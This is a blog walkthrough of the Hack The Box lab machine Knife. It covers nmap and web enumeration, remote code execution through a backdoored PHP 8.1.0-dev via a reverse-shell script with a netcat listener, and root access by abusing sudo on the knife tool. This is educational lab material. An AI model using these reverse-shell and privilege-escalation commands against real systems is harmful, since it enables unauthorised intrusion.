HTB Knife WalkthroughHTB Knife Walkthrough Building THE IT GUY

Knife is a Linux machine, we are going to attack by scanning, enumerating, privilege escalation, and gaining access to the server.

IP: 10.10.10.242

Connect HTB VPN and make sure you can reach this machine. If you want to connect HTP VPN check here

Ping knife machine

Enumeration

Scan the host by using the NMAP scanner.

nmap 10.10.10.242 (Basic Scan)
nmap -sV 10.10.10.242 -p1-1000 (Version Detection)

we can see there are two ports open SSH and HTTP, which means this is the webserver

This webpage looks like static content. it’s just one page so brute force login or SQL injection methods not going to be useful. Let’s go for a directory traversal attack scan to see any hidden page or a gobuster to brute force.

Gobuster Enumneration
Nikto Web Scan
HackTheBox: Knife walkthrough
Curl Scan

This does not look like WordPress and directory traversal exploit neither to find.

Let’s Open Burp Suite and see if any new we can see,

HackTheBox: Knife walkthrough
Burp Suite Community Version

We found some weird dev version of PHP/8.1.0-dev, research it, and found this is vulnerable to Remote Code Execution. We can download this Python script to exploit it. Also, we can find reverse shell and backdoor scripts for RCE here

HackTheBox: Knife walkthrough
Exploit DB
#Open listing port on one terminal by entering below command
nc -lvnp 4444

#Open revshell on another terminal
python3 revshell_php_8.1.0-dev.py http://10.10.10.242 (Your-IP) 4444

HackTheBox: Knife walkthrough
Terminal 1
Terminal 2

Now we can see that user flag in /home/james/user.txt

HackTheBox: Knife walkthrough

Now check if James user has any privileges to explore more.

sudo -l
HackTheBox: Knife walkthrough

When we look at knife exec options and it allows us to execute our commands via knife exec [SCRIPT] (options).

sudo /usr/bin/knife exec -E "exec \"/bin/bash\";"

HackTheBox: Knife walkthrough
HackTheBox: Knife walkthrough

That’s it, we pwned one of the Linux servers running vulnerable PHP.

By Mohamed Asath

Here is my message HOW CAN I HELP YOU ? To develop your IT career.

Leave a Reply

Your email address will not be published. Required fields are marked *